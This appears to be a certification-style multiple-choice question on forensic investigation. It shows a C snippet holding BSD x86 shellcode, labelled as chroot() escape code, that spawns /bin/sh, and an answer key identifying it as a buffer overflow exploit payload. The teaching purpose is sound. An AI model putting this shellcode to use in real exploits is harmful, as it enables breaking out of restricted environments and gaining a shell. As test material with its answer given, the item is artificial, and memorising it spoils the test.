While investigating a claim of a user downloading illegal material, the investigator goes through the files on the suspect’s workstation. He comes across a file that is just called “file.txt” but when he opens it, he finds the following:

#define MAKE_STR_FROM_RET(x)
((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24) char infin_loop[]= /* for testing purposes */
“\xEB\xFE”;
char bsdcode[] = /* Lam3rZ chroot() code by venglin */
“\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43”
“\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0”
“\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0”

“\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80”
“\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9”
“\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75”
“\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd”
“\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46”
“\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56”
“\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53”
“\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30”
“\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e”
“\x67\x6c\x69\x6e”;
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;

What can he infer from this file?

A.
A picture that has been renamed with a .txt extension

B.
An encrypted file

C.
A uuencoded file

D.
A buffer overflow

Explanation:
This is a buffer overflow exploit with its “payload” in hexadecimal format.